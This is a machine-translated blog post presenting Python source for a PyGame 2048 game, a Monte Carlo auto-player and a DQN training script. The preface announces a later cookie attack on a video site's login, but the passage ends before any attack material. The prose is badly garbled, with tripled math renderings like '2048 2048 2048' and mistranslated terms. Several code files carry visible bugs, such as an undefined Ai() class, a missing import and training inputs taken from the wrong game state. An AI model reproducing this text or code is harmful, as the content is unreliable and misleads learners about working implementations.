2048 Monte Carlo and Enhanced Learning Test + B-Station Video Crawling and Cookie Attack Test

Preface

This is the longest time I've ever had to stop writing. Every time I open the editor and want to write something, I can't get excited. Perhaps because this is the 100th blog, I always want to write something interesting because of some ritual coercion.

However, a new round of epidemic in Yangzhou has become the eye of the storm. The author has been confined for nearly 40 days. If people stay at home too long, they will become more lazy and lose their vitality. Not only work and study, but also specialization in the summer was originally planned. 5000 5000 5000 meters strive for the target 20 20 Twenty minutes later the result fell back to the level it was half a year ago. Even so, only a few dozen minutes a day on the treadmill will give the writer a chance to regain momentum. A lot of attempts have been made in bits and pieces, but there is not enough material to lift the pen.

On the fourth day back to school, I decided to pick out some interesting things from my work over the past month and organize my article. This article is divided into two parts:

  1. The first part is about classic games 2048 2048 Automated scripting and reinforcement learning algorithm for 2048 D Q N \rm DQN The test of DQN. B \rm B Occasionally discovered at station B video, U P \rm UP The UP master project address is in GitHub@2048GameAutoMovePython The project is implemented using a custom scoring function and three-tier Monte Carlo simulation P y G a m e \rm PyGame PyGame game automation, really excellent results, tested more than 80% success rate clearance 2048 2048 2048, if Monte Carlo achieves almost four or five levels of success 100 % 100\% 100%, in fact, the core of the code is the design of the score function, which is really clever, the author thinks it is not easy to imagine.

    The author's work is to test the implementation of reinforcement learning on the basis of some improvements. Because the author mainly focuses on natural language processing, the reinforcement learning has less experience (it is well known that reinforcement learning in N L P \rm NLP NLP doesn't work, so I want to be able to implement an intensive learning algorithm to gain a deeper understanding. Originally I was going to play a suitcase game myself (think it's really hard to push suitcases privately), and it would be easy to just grab what's ready for use. It's interesting to know that there were even good people who wrote the suitcase. P y t h o n \rm Python Python library gym-sokoban, can be installed directly using pip, library project address is in GitHub@gym-sokoban In addition, gym is an interesting intensive learning package that can be used to do intensive learning for physical engine robots.

    In fact, I recently discovered that g i t h u b \rm github There's a giant on github that gives you a really good one P y T o r c h \rm PyTorch Warehouse of various enhancement algorithms implemented by PyTorch GitHub@Deep-Reinforcement-Learning-Algorithms-with-PyTorch It's worth learning when you have time.

  2. The second part is about B \rm B Video downloads from Station B and C o o k i e \rm Cookie Cookie attack test, the author really wanted to start writing early, the main reason is C o o k i e \rm Cookie The Cookie Attack Test did not go well, but I think B \rm B Stand B does have a big bug in login verification. In theory, there is a possibility that it can be cracked. The reason and attack script are detailed below.

    As for video download, the author gives two ways to download, the first way is to download the complete video directly m p 4 \rm mp4 mp4 files, the second is to download video and audio separately, which is not really difficult because B \rm B Station B is completely absent J S \rm JS JS encrypts the information of the video source. The first method does not need to analyze the page source even if it only needs to capture the package.

    in addition G i t H u b \rm GitHub GitHub has a code repository for video downloads from various video websites, the address I forgot, but as if its code is not open source, it only provides an installer that needs to be downloaded and installed for use.

Part One 2048 2048 2048 Monte Carlo Method and Intensive Learning Test

(1) 2048 P y G a m e \rm 2048PyGame 2048PyGame script and Monte Carlo method

Code can be directly from the original author GitHub@gym-sokoban Obtained, in order to be able to undertake the following intensive learning, you can use the sorted code provided by the author, the structure is as follows:

../
   manage.py
   config.py
../src/
       ai.py
       game.py
       utils.py
../logging/ # Empty Folder

The code for these five files is as follows:

  • m a n a g e . p y \rm manage.py manage.py
# -*- coding: UTF-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

import os
import time
import pygame

from pygame.locals import (QUIT,
                           KEYDOWN,
                           K_ESCAPE,
                           K_LEFT,
                           K_RIGHT,
                           K_DOWN,
                           K_UP,
                           K_w,
                           K_a,
                           K_s,
                           K_d,
                           K_k,
                           K_l,
                           MOUSEBUTTONDOWN)

from config import GameConfig

from src.utils import load_args, save_args, draw_text
from src.game import Game, Button
from src.ai import AI

args = load_args(GameConfig)
save_args(args, f'logging/config_{time.strftime("%Y%m%d%H%M%S")}.json')


# Initialize game
pygame.init()

# Set window
os.environ['SDL_VIDEO_WINDOW_POS'] = '%d,%d' % args.window_pos
raw_screen = pygame.display.set_mode((args.window_width, args.window_height), pygame.DOUBLEBUF, 32)
screen = raw_screen.convert_alpha()
pygame.display.set_caption(args.window_title)

interval = args.interval
state = 'start'
clock = pygame.time.Clock()
game = Game(args.grid_dim)
ai = AI(args)
next_direction = ''
last_time = time.time()
reward = -1

buttons = [
    Button('start', 'Restart', (args.grid_size + 50, 150)),
    Button('ai', 'Autorun', (args.grid_size + 50, 250)),
]


while not state == 'exit':

    if game.state in ['over', 'win']:
        state = game.state

    if state == 'ai' and next_direction == '':
        next_direction, reward = ai.get_next(game.grid.tiles, random_strategy=args.random_strategy)

    # Listen events
    for event in pygame.event.get():
        if event.type == QUIT:
            state = 'exit'
        if event.type == KEYDOWN:
            if event.key == K_ESCAPE:
                state = 'exit'
            elif event.key in [K_LEFT, K_a] and state == 'run':
                next_direction = 'L'
            elif event.key in [K_RIGHT, K_d] and state == 'run':
                next_direction = 'R'
            elif event.key in [K_DOWN, K_s] and state == 'run':
                next_direction = 'D'
            elif event.key in [K_UP, K_w] and state == 'run':
                next_direction = 'U'
            elif event.key in [K_k, K_l] and state == 'ai':
                if event.key == K_k and interval > 0:
                    interval *= 0.9
                if event.key == K_l and interval < 10:
                    if interval == 0:
                        interval = .01
                    else:
                        interval *= 1.1
                if interval < 0:
                    interval = 0

        if event.type == MOUSEBUTTONDOWN:
            for button in buttons:
                if button.is_click(event.pos):
                    state = button.name
                    if button.name == 'ai':
                        button.name = 'run'
                        button.text = 'Manual'
                    elif button.name == 'run':
                        button.name = 'ai'
                        button.text = 'Autorun'
                    break

    # Direction
    if next_direction and (state == 'run' or state == 'ai' and time.time() - last_time > interval):
        game.run(next_direction)
        next_direction = ''
        last_time = time.time()

    # Start game
    elif state == 'start':
        game.start()
        state = 'run'

    # Fill background color
    screen.fill((101, 194, 148))

    # Draw text
    draw_text(screen, f'Score: {game.score}', (args.grid_size + 100, 40), args.fontface)
    if state == 'ai':
        draw_text(screen, f'Interval: {interval}', (args.grid_size + 100, 60), args.fontface)
        draw_text(screen, f'Reward: {round(reward, 3)}', (args.grid_size + 100, 80), args.fontface)

    # Draw button
    for button in buttons:
        if button.is_show:
            pygame.draw.rect(screen, (180, 180, 200), (button.x, button.y, button.w, button.h))
            draw_text(screen, button.text, (button.x + button.w / 2, button.y + 9), args.fontface, size=18, center='center')

    # Draw map
    for y in range(args.grid_dim):
        for x in range(args.grid_dim):
            # Draw block
            number = game.grid.tiles[y][x]
            size = args.grid_size / args.grid_dim
            dx = size * 0.05
            x_size, y_size = x * size, y * size
            color = args.colors[str(int(number))] if number <= args.max_number else (0, 0, 255)
            pygame.draw.rect(screen, color, (x_size + dx, y_size + dx, size - 2 * dx, size - 2 * dx))
            color = (20, 20, 20) if number <= 4 else (255, 255, 255)
            if number:
                length = len(str(number))
                if length == 1:
                    text_size = size * 1.2 / 2
                elif length <= 3:
                    text_size = size * 1.2 / length
                else:
                    text_size = size * 1.5 / length
                draw_text(screen, str(int(number)), (x_size + size * 0.5, y_size + size * 0.5 - text_size / 2), args.fontface, color=color, size=args.fontsize, center='center')

    if state == 'over':
        pygame.draw.rect(screen, (0, 0, 0, 0.5), (0, 0, args.grid_size, args.grid_size))
        draw_text(screen, 'Game over!', (args.grid_size / 2, args.grid_size / 2), args.fontface, size=25, center='center')

    elif state == 'win':
        pygame.draw.rect(screen, (0, 0, 0, 0.5), (0, 0, args.grid_size, args.grid_size))
        self.draw_text('Win!', (args.grid_size / 2, args.grid_size / 2), args.fontface, size=25, center='center')

    # Update
    raw_screen.blit(screen, (0, 0))
    pygame.display.flip()
    clock.tick(args.FPS)

print('Exit Game')
  
  • c o n f i g . p y \rm config.py config.py
# -*- coding: UTF-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

import types
import argparse

class GameConfig:
    parser = argparse.ArgumentParser("--")
    parser.add_argument('--max_number', default=65536, type=int)
    parser.add_argument('--fontface', default='simhei', type=str)
    parser.add_argument('--fontsize', default=56, type=int)
    parser.add_argument('--window_pos', default=(100, 50), type=tuple)
    parser.add_argument('--window_title', default='2048', type=str)
    parser.add_argument('--window_width', default=720, type=int)
    parser.add_argument('--window_height', default=540, type=int)
    parser.add_argument('--FPS', default=60, type=int)
    parser.add_argument('--debug', default=False, type=bool)
    parser.add_argument('--interval', default=.0, type=float)
    parser.add_argument('--animation', default=False, type=bool)
    parser.add_argument('--grid_dim', default=4, type=int)
    parser.add_argument('--grid_size', default=500, type=int)
    parser.add_argument('--colors', default={'0': (205, 193, 180),
                                             '2': (238, 228, 218),
                                             '4': (237, 224, 200),
                                             '8': (242, 177, 121),
                                             '16': (245, 149, 99),
                                             '32': (246, 124, 95),
                                             '64': (246, 94, 59),
                                             '128': (237, 207, 114),
                                             '256': (237, 204, 97),
                                             '512': (237, 200, 80),
                                             '1024': (237, 197, 63),
                                             '2048': (255, 0, 0),
                                             '4096': (255, 0, 0),
                                             '8192': (255, 0, 0),
                                             '16384': (255, 0, 0),
                                             '32768': (255, 0, 0),
                                             '65536': (255, 0, 0)}, type=dict)
    parser.add_argument('--step_ahead', default=3, type=int)
    parser.add_argument('--random_strategy', default=False, type=bool)
    parser.add_argument('--action_mapping', default={'R': 0, 'D': 1, 'L': 2, 'U': 3}, type=dict)

class ModelConfig:
    parser = argparse.ArgumentParser("--")
    parser.add_argument('--max_number', default=65536, type=int)

if __name__ == "__main__":
    config = GameConfig()
    parser = config.parser
    args = parser.parse_args()
    print(args)
  • s r c / a i . p y \rm src/ai.py src/ai.py
# -*- coding: utf-8 -*- 

if __name__ == '__main__':
    import sys

    sys.path.append('../')

import itertools
import numpy as np

from src.game import Grid, Game
from src.utils import load_args
from config import GameConfig

class AI:
    def __init__(self, args):
        self.args = args
        self.grid = Grid(args.grid_dim)
        self.score_map = lambda z: z

    def debug(self, tiles):
        print('\n=======DEBUG========')
        print('Tile before moving: ')
        self.print_tiles(tiles)
        score_list = []
        for directions in itertools.product('ULRD', repeat=2):
            _tiles = self.get_grid(tiles, directions)
            scores = self.get_score(_tiles)
            score_list.append([directions, scores])
            print('==={}=={}=='.format(directions, scores))
            self.print_tiles(_tiles)
        score_list = sorted(score_list, key=(lambda x: [x[1]]))
        for score in score_list[::-1]:
            self.grid.tiles = tiles.copy()
            if not self.grid.run(score[0][0], is_fake=True) == 0:
                self.grid.run(score[0][0])
                return score[0][0]
        return score_list[-1][0][0]

    def get_next(self, tiles, random_strategy=False):
        if random_strategy:
            return 'URDL'[np.random.randint(0, 4)], 0
        score_list = []
        tile_num = 0
        for row in tiles:
            for i in row:
                if i == 0:
                    tile_num += 1

        if tile_num >= self.grid.size ** 2 / 3:
            return 'RD'[np.random.randint(0, 2)], 0
        capacity = min(max(tile_num ** 2, 20), 40)
        for directions in itertools.product('ULRD', repeat=self.args.step_ahead):
            scores = []
            for _ in range(capacity):
                _tiles = self.get_grid(tiles, directions)
                scores.append(self.get_score(_tiles))
            # print(directions, min(scores))
            score_list.append([directions, min(scores)])
        score_list = sorted(score_list, key=(lambda x: [x[1]]))
        for score in score_list[::-1]:
            self.grid.tiles = tiles.copy()
            if not self.grid.run(score[0][0], is_fake=False) == 0:
                return score[0][0], score[1] / capacity
        self.grid.tiles = tiles.copy()
        return score_list[-1][0][0], score_list[-1][1] / capacity

    def get_score(self, tiles):
        a = self.get_bj2__4(tiles)
        b = self.get_bj__4(tiles)
        return a * 2.8 + b

    def get_grid(self, tiles, directions):
        g = Grid(self.args.grid_dim)
        g.tiles = tiles.copy()
        for direction in directions:
            g.run(direction)
            g.add_random_tile()
        return g.tiles

    def print_tiles(self, tiles):
        for row in tiles:
            for i in row:
                print("{:^6}".format(i), end='')
            print()

    def get_bj(self, tiles):
        gjs = [
            self.get_bj__1(tiles),
            self.get_bj__2(tiles),
            self.get_bj__3(tiles),
            self.get_bj__4(tiles)
        ]
        return gjs

    def get_bj2(self, tiles):
        gjs = [
            self.get_bj2__1(tiles),
            self.get_bj2__2(tiles),
            self.get_bj2__3(tiles),
            self.get_bj2__4(tiles)
        ]
        return gjs

    def get_bj__1(self, tiles):
        bj = 0
        length = len(tiles)
        size = self.grid.size - 1
        for y in range(length):
            for x in range(length):
                z = tiles[y][x]
                if z:
                    z_log = z - 2
                    bj += z_log * (x + (size - y) - (size * 2 - 1))
                else:
                    bj += (100 - 20 * (x + (size - y) - (size * 2 - 1)))
        return bj

    def get_bj__2(self, tiles):
        bj = 0
        length = len(tiles)
        size = self.grid.size - 1
        for y in range(length):
            for x in range(length):
                z = tiles[y][x]
                if z:
                    z_log = z - 2
                    bj += z_log * ((size - x) + (size - y) - (size * 2 - 1))
                else:
                    bj += (100 - 20 * ((size - x) + (size - y) - (size * 2 - 1)))
        return bj

    def get_bj__3(self, tiles):
        bj = 0
        length = len(tiles)
        size = self.grid.size - 1
        for y in range(length):
            for x in range(length):
                z = tiles[y][x]
                if z:
                    z_log = z - 2
                    bj += z_log * ((size - x) + y - (size * 2 - 1))
                else:
                    bj += (100 - 20 * ((size - x) + y - (size * 2 - 1)))
        return bj

    def get_bj__4(self, tiles):
        bj = 0
        length = len(tiles)
        size = self.grid.size - 1
        for y in range(length):
            for x in range(length):
                z = tiles[y][x]
                if z:
                    z_log = z - 2
                    bj += z_log * (x + y - (size * 2 - 1))
                else:
                    bj += (100 - 20 * (x + y - (size * 2 - 1)))
        return bj

    def get_bj2__1(self, tiles):
        bj = 0
        length = len(tiles)
        for y in range(0, length - 1, 1):
            for x in range(length - 1, 0, -1):
                z = tiles[y][x]
                if tiles[y][x] < tiles[y][x - 1]:
                    bj -= abs(self.score_map(tiles[y][x - 1]) - z)
                if tiles[y][x] < tiles[y + 1][x]:
                    bj -= abs(self.score_map(tiles[y + 1][x]) - z)
                if tiles[y][x] < tiles[y + 1][x - 1]:
                    bj -= abs(self.score_map(tiles[y + 1][x - 1]) - z)
        return bj

    def get_bj2__2(self, tiles):
        bj = 0
        length = len(tiles)
        for y in range(0, length - 1):
            for x in range(0, length - 1):
                z = tiles[y][x]
                if tiles[y][x] < tiles[y][x + 1]:
                    bj -= abs(self.score_map(tiles[y][x + 1]) - z)
                if tiles[y][x] < tiles[y + 1][x]:
                    bj -= abs(self.score_map(tiles[y + 1][x]) - z)
                if tiles[y][x] < tiles[y + 1][x + 1]:
                    bj -= abs(self.score_map(tiles[y + 1][x + 1]) - z)
        return bj

    def get_bj2__3(self, tiles):
        bj = 0
        length = len(tiles)
        for y in range(length - 1, 0, -1):
            for x in range(0, length - 1):
                z = tiles[y][x]
                if tiles[y][x] < tiles[y][x + 1]:
                    bj -= abs(self.score_map(tiles[y][x + 1]) - z)
                if tiles[y][x] < tiles[y - 1][x]:
                    bj -= abs(self.score_map(tiles[y - 1][x]) - z)
                if tiles[y][x] < tiles[y - 1][x + 1]:
                    bj -= abs(self.score_map(tiles[y - 1][x + 1]) - z)
        return bj

    def get_bj2__4(self, tiles):
        bj = 0
        length = len(tiles)
        for y in range(length - 1, 0, -1):
            for x in range(length - 1, 0, -1):
                z = tiles[y][x]
                if z < tiles[y][x - 1]:
                    bj -= abs(self.score_map(tiles[y][x - 1]) - z)
                if z < tiles[y - 1][x]:
                    bj -= abs(self.score_map(tiles[y - 1][x]) - z)
                if z < tiles[y - 1][x - 1]:
                    bj -= abs(self.score_map(tiles[y - 1][x - 1]) - z)
        return bj


if __name__ == '__main__':
    game = Game(4)
    game.grid.tiles = np.array([
        [0, 0, 0, 0],
        [0, 32, 64, 128],
        [256, 512, 1024, 1024],
        [1024, 1024, 1024, 1024]
    ])
    ai = Ai()
    print(game.grid)

    a = ai.get_next(game.grid.tiles)
    print(a)
    game.run(a[0])
    print(game.grid)
  • s r c / g a m e . p y \rm src/game.py src/game.py
# -*- coding: utf-8 -*- 

import random
import pygame
import numpy as np

nmap = {0: 'U', 1: 'R', 2: 'D', 3: 'L'}
fmap = dict([val, key] for key, val in nmap.items())

class Button(pygame.sprite.Sprite):
    def __init__(self, name, text, location, size=(100, 50)):
        pygame.sprite.Sprite.__init__(self)
        self.name = name
        self.text = text
        self.x, self.y = location
        self.w, self.h = size
        self.is_show = True

    def is_click(self, location):
        return self.is_show and self.x <= location[0] <= self.x + self.w and self.y <= location[1] <= self.y + self.h


class Grid(object):
    size = 4
    tiles = []
    max_tile = 0

    def __init__(self, size=4):
        self.size = size
        self.score = 0
        self.tiles = np.zeros((size, size)).astype(np.int32)

    def is_zero(self, x, y):
        return self.tiles[y][x] == 0

    def is_full(self):
        return 0 not in self.tiles

    def set_tiles(self, location, number):
        self.tiles[location[1]][location[0]] = number

    def get_random_location(self):
        if not self.is_full():
            while 1:
                x, y = random.randint(0, self.size - 1), random.randint(0, self.size - 1)
                if self.is_zero(x, y):
                    return x, y
        return -1, -1

    def add_tile_init(self):
        self.add_random_tile()
        self.add_random_tile()

    def add_random_tile(self):
        if not self.is_full():
            value = 2 if random.random() < 0.9 else 4
            self.set_tiles(self.get_random_location(), value)

    def run(self, direction, is_fake=False):
        if isinstance(direction, int):
            direction = nmap[direction]
        self.score = 0
        if is_fake:
            t = self.tiles.copy()
        else:
            t = self.tiles
        if direction == 'U':
            for i in range(self.size):
                self.move_hl(t[:, i])
        elif direction == 'D':
            for i in range(self.size):
                self.move_hl(t[::-1, i])
        elif direction == 'L':
            for i in range(self.size):
                self.move_hl(t[i, :])
        elif direction == 'R':
            for i in range(self.size):
                self.move_hl(t[i, ::-1])
        return self.score

    def move_hl(self, hl):
        len_hl = len(hl)
        for i in range(len_hl - 1):
            if hl[i] == 0:
                for j in range(i + 1, len_hl):
                    if hl[j] != 0:
                        hl[i] = hl[j]
                        hl[j] = 0
                        self.score += 1
                        break
            if hl[i] == 0:
                break
            for j in range(i + 1, len_hl):
                if hl[j] == hl[i]:
                    hl[i] += hl[j]
                    self.score += hl[j]
                    hl[j] = 0
                    break
                if hl[j] != 0:
                    break
        return hl

    def is_over(self):
        if not self.is_full():
            return False
        for y in range(self.size - 1):
            for x in range(self.size - 1):
                if self.tiles[y][x] == self.tiles[y][x + 1] or self.tiles[y][x] == self.tiles[y + 1][x]:
                    return False
        return True

    def is_win(self):
        if self.max_tile > 0:
            return self.max_tile in self.tiles
        else:
            return False

    def to_array(self, normalize=True):
        array = np.log2(self.tiles + np.ones(self.tiles.shape) * (self.tiles == 0)) if normalize else self.tiles.copy()
        return array.flatten().astype(np.int8)

    def __str__(self):
        str_ = '====================\n'
        for row in self.tiles:
            str_ += '-' * (5 * self.size + 1) + '\n'
            for i in row:
                str_ += '|{:4d}'.format(int(i))
            str_ += '|\n'
        str_ += '-' * (5 * self.size + 1) + '\n'
        str_ += '==================\n'
        return str_

class Game:
    score = 0
    env = 'testing'
    state = 'start'
    grid = None

    def __init__(self, grid_size=4, env='production'):
        self.env = env
        self.grid_size = grid_size
        self.start()

    def start(self):
        self.grid = Grid(self.grid_size)
        if self.env == 'production':
            self.grid.add_tile_init()
        self.state = 'run'

    def run(self, direction):
        if self.state in ['over', 'win']:
            return None
        if isinstance(direction, int):
            direction = nmap[direction]

        self.grid.run(direction)
        self.score += self.grid.score

        if self.grid.is_over():
            self.state = 'over'

        if self.grid.is_win():
            self.state = 'win'

        if self.env == 'production':
            self.grid.add_random_tile()
        return self.grid

    def printf(self):
        print(self.grid)
  • s r c / u t i l s . p y \rm src/utils.py src/utils.py
# -*- coding: UTF-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

if __name__ == '__main__':
    import sys
    sys.path.append('../')

import time
import json
import pygame
import argparse

def load_args(Config):
    config = Config()
    parser = config.parser
    return parser.parse_args()

def save_args(args, save_path=None):

    class _MyEncoder(json.JSONEncoder):
        def default(self, obj):
            if isinstance(obj, type) or isinstance(obj, types.FunctionType):
                return str(obj)
            return json.JSONEncoder.default(self, obj)

    if save_path is None:
        save_path = f'../logging/config_{time.strftime("%Y%m%d%H%M%S")}.json'
    with open(save_path, 'w') as f:
        f.write(json.dumps(vars(args), cls=_MyEncoder))


def screenshot(screen, save_path=None):
    if save_path is None:
        save_path = f'../images/screenshot_{time.strftime("%Y%m%d%H%M%S")}.png'
        pygame.image.save(screen, save_path)


def draw_text(screen, text, location, face, color=(0, 0, 0), size=18, center='center'):
    x, y = location
    font = pygame.font.SysFont(face, size)
    text_render = font.render(text, 1, color)
    text_rect = text_render.get_rect()
    if center == 'center':
        text_rect.move_ip(x - text_rect.w // 2, y)
    else:
        text_rect.move_ip(x, y)
    screen.blit(text_render, text_rect)

if __name__ == '__main__':
    from config import GameConfig
    args = load_args(GameConfig)
    save_args(args)

Function m a n a g e . p y \rm manage.py manage.py can start to be happy 2048 2048 2048 Mini game. The arrow keys control the movement from top to bottom, or you can click directly on the interface a u t o r u n \rm autorun autorun allows automated testing using the original author's built-in Montacaro scoring algorithm.

A brief description of the code:

  • The algorithm is built in a i . p y \rm ai.py In the ai.py file, the coefficients of a and b can be modified in the function get_score(), which essentially moves up the corner, followed by get_bj_u 1(), get_bj_u 2(), get_bj_u 3(), get_bj_u 4(), which represents algorithms attributed to four different angles, respectively. The default is to use the lower right corner, so a u t o r u n \rm autorun autorun is always found in the lower right corner 2048 2048 2048.
  • The meaning of Monte Carlo here is to simulate the results of the last three steps, looking for the next move strategy with the highest expected score, and simulating the three steps back by default, which can be modified c o n f i g . p y \rm config.py The step_ahead parameter in config.py improves the depth of the simulation.
  • It can also be modified c o n f i g . p y \rm config.py The grid_dim in config.py changes the size of the board so you can play on a larger board.
  • Study g a m e . p y \rm game.py Writing in game.py and m a n a g e . p y \rm manage.py Game flow in manage.py, for getting started P y G a m e \rm PyGame It's helpful for PyGame to develop some small games.

(2) Enhanced learning D Q N \rm DQN DQN algorithm implementation

Here the author chooses to be more basic D Q N \rm DQN Implementation of DQN with reference to the paper Playing Atari with Deep Reinforcement Learning , the algorithm pseudocode is as follows:
In fact, the algorithm is very shallow. Q Q The Q function can be interpreted as a neural network, and the input parameter is the current state ( 2048 2048 2048 is the number on the board) and an action strategy ( 2048 2048 2048 is one of the top, bottom, or left four action strategies, and the output is a score (i.e. Q Q The training samples can be obtained by playing games as follows:

  1. Initialize the initial state (that is, the board at the beginning of the game).
  2. Probably choose one Q Q The Q-function outputs the action strategy with the highest score, and the small probability randomly selects one. This is ϵ \epsilon _Greedy strategy, which is designed to introduce disturbances so that more possibilities are sought, if only on the basis of Q Q The action strategy with the highest Q-function output score may fall into local optimum.
  3. Next y j y_j yj is the theoretical label value( ground truth \text{ground truth} ground truth), logic derived from the Belman equation in dynamic programming, rewards for each step r j r_j rj This happens to pass through 2048 2048 In 2048 the game is represented by a constantly updated score in the upper right corner.
  4. The results of each game simulation are stored in memory here D \mathcal{D} In D, a batch of data is extracted from it each time for training.

So we can do the following (add train.py and src/model.py to the file directory above):

  • t r a i n . p y \rm train.py train.py
# -*- coding: utf-8 -*- 
# @author : caoyang
# @email: caoyang@163.sufe.edu.cn

import os
import sys
import time
import random

import torch
from torch import optim
from torch.nn import MSELoss
import numpy as np

from src.ai import AI
from src.game import Game
from src.data import load_dataset_for_PN
from src.model import TestModel
from src.utils import load_args
from config import GameConfig

from copy import deepcopy

import pickle as pk

def train_DQN(args):
    # Initialization
    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')

    n_episodes = 10000
    epsilon = 1e-3 # epsilon greedy rate
    batch_size = 16
    n_samples = 1000

    discount_rate = 0.99

    # Load model
    model = TestModel()
    model = model.to(device)

    optimizer = optim.SGD(model.parameters(), lr=0.01)
    loss = MSELoss()

    # Start game
    replay_memory = []

    index2action = {index: action for action, index in args.action_mapping.items()}
    print(index2action)

    last_score = 0

    action_embedding = {
        'L': [1, 0, 0, 0],
        'R': [0, 1, 0, 0],
        'D': [0, 0, 1, 0],
        'U': [0, 0, 0, 1],
    }

    for episode in range(n_episodes):
        # action, _ = ai.get_next(game.grid.tiles)
        game = Game(args.grid_dim)
        ai = AI(args)
        game.start()
        while True:
            model.eval()
            # print(str(game.grid))
            if random.random() < epsilon: # epsilon greedy
                action = random.choice(list('LRDU'))
                game.run(action)
            else: # choose the best one
                action = None
                max_score = None
                for _action, embedding in action_embedding.items():
                    score = model(torch.FloatTensor(np.concatenate([game.grid.to_array(True), embedding])).unsqueeze(0).to(device))
                    if action is None:
                        action = _action
                        max_score = score
                    elif score > max_score:
                        action = _action
                        max_score = score
            last_game = deepcopy(game)
            game.run(action)

            # print(game.state)
            # print(str(game.grid))

            reward = game.score - last_score
            quadruple = (last_game, action, reward, deepcopy(game), game.state)
            replay_memory.append(quadruple) # Store memory
            last_score = game.score
            if game.state == 'over' or game.state == 'win':
                break
            # print(action, game.score)

            batch_data = replay_memory[:] if len(replay_memory) < batch_size else random.sample(replay_memory, k=batch_size)
            y_train_batch = []
            x_train_batch = []
            for (last_game, action, reward, current_game, state) in batch_data:
                if state in ['win', 'over']:
                    y_train = reward
                else:
                    model(torch.FloatTensor(np.concatenate([game.grid.to_array(True), embedding])).unsqueeze(0).to(device))
                    action = None
                    max_score = None
                    for _action, embedding in action_embedding.items():
                        score = model(
                            torch.FloatTensor(np.concatenate([current_game.grid.to_array(True), embedding])).unsqueeze(0).to(
                                device))
                        if action is None:
                            action = _action
                            max_score = score
                        elif score > max_score:
                            action = _action
                            max_score = score
                    y_train = reward + discount_rate * max_score
                x_train = np.concatenate([game.grid.to_array(True), action_embedding[action]])
                y_train_batch.append(y_train)
                x_train_batch.append(x_train)

            y_train_batch = torch.FloatTensor(y_train_batch).to(device)
            x_train_batch = torch.FloatTensor(x_train_batch).to(device)

            # Train
            model.train()
            optimizer.zero_grad()
            y_prob = model(x_train_batch)
            loss_value = loss(y_prob, y_train_batch)
            loss_value.backward()
            optimizer.step()
            print(episode, loss_value)
    torch.save(model, 'model.h5')

if __name__ == '__main__':
    args = load_args(GameConfig)
    train_DQN(args)
  • s r c / m o d e l . p y \rm src/model.py src/model.py: A simple model for testing has been temporarily written in the model, because there is no good theoretical support for building the model at present. This script is only used to test the implementation of the reinforcement learning algorithm and does not seek for results. Therefore, the input of the model defaults to 20 20 The 20th dimension is 16 16 16-Dimension Checkerboard Plus 4 4 Up and down about 4-D one-hot \text{one-hot} one-hot coded value.
# -*- coding: utf-8 -*- 
# @author : caoyang
# @email: caoyang@163.sufe.edu.cn

import torch
from torch import nn
from torch import functional as F

class TestModel(nn.Module):

    def __init__(self):
        super(TestModel, self).__init__()
        # self.linear_1 = nn.Linear(in_features=16, out_features=128, bias=True)
        # self.linear_2 = nn.Linear(in_features=128, out_features=4, bias=True)
        # self.softmax = nn.Softmax(dim=-1)
        self.linear_1 = nn.Linear(in_features=20, out_features=128, bias=True)
        self.linear_2 = nn.Linear(in_features=128, out_features=1, bias=True)

    def forward(self, x):
        x = self.linear_1(x)
        # x = self.linear_2(x)
        # output = self.softmax(x)
        output = self.linear_2(x)
        return output

Two points to note are:

  1. Initially, the author wondered if it would be possible to simply let the model enter its current state (i.e., the checkerboard) and then output it as the probability distribution of the different action strategies (i.e., the checkerboard). s o f t m a x \rm softmax softmax activates the function output), which seems to really not require action strategies as input. At least this idea is D Q N \rm DQN DQN is not achievable, and most importantly, if the space for action strategies is very large (for 2048 2048 2048 is very small, only 4 4 4-D), then the model output will be very complex, many games in different states of the number of possible actions are different (for example, the chess to the back of the action space will be smaller), it will be even more unable to pass D Q N \rm DQN DQN implementation. Of course, direct output actions also have algorithms, that is P o l i c y   N e t w o r k \rm Policy\space Network Policy Network, not discussed in this article.
  2. Algorithmically D Q N \rm DQN The obvious weakness of DQN is that it needs to be searched frequently to make Q Q The action strategy with the largest Q-function value is difficult to search if there are many action strategies.
  3. Since the rating strategy given by the original author is really good, it is already available Q Q Q function, in fact, can be used to generate enough directly from the original game e p i s o d e \rm episode episode data as memory D \mathcal{D} D for training, code such as g e n e r a t e _ e p i s o d e . p y \rm generate\_episode.py Gene_episode.py shows:
  • generate_episode.py \text{generate\_episode.py} generate_episode.py
# -*- coding: UTF-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

import os
import time
import pygame
import pandas as pd

from pygame.locals import (QUIT,
                           KEYDOWN,
                           K_ESCAPE,
                           K_LEFT,
                           K_RIGHT,
                           K_DOWN,
                           K_UP,
                           K_w,
                           K_a,
                           K_s,
                           K_d,
                           K_k,
                           K_l,
                           MOUSEBUTTONDOWN)

from config import GameConfig

from src.utils import load_args, save_args, draw_text
from src.game import Game, Button
from src.ai import AI


def run(args, episode_path=None):
    interval = args.interval
    state = 'start'
    # clock = pygame.time.Clock()
    game = Game(args.grid_dim)
    ai = AI(args)
    next_direction = ''
    last_time = time.time()

    buttons = [
        Button('start', 'Restart', (args.grid_size + 50, 150)),
        Button('ai', 'Autorun', (args.grid_size + 50, 250)),
    ]

    episode_dict = {
        'action': [],
        'tiles': [],
        'score': [],
        'reward': [],
    }

    while not state == 'exit':
        if game.state in ['over', 'win']:
            state = game.state

        # Start game
        if state == 'start':
            game.start()
            state = 'ai'

        if state == 'ai' and next_direction == '':
            next_direction, reward = ai.get_next(game.grid.tiles, random_strategy=args.random_strategy)
            current_direction = next_direction

            # Logging Episode
            tiles = []
            for y in range(args.grid_dim):
                for x in range(args.grid_dim):
                    tiles.append(game.grid.tiles[y][x])
            episode_dict['tiles'].append(tuple(tiles))
            episode_dict['action'].append(current_direction)
            episode_dict['score'].append(game.score)
            episode_dict['reward'].append(reward)

        # Direction
        if next_direction and (state == 'run' or state == 'ai' and time.time() - last_time > interval):
            game.run(next_direction)
            next_direction = ''
            # last_time = time.time()
        if state == 'over':
            break

        elif state == 'win':
            break

    df = pd.DataFrame(episode_dict, columns=list(episode_dict.keys()))
    if episode_path is not None:
        df.to_csv(episode_path, index=False, header=True, sep='\t')
    return df

if __name__ == '__main__':

    N = 10000
    args = load_args(GameConfig)

    # dfs = []
    # args.random_strategy = True
    # for i in range(N):
    #     print(i)
    #     df = run(args, None)
    #     df['episode'] = i
    #     dfs.append(df)
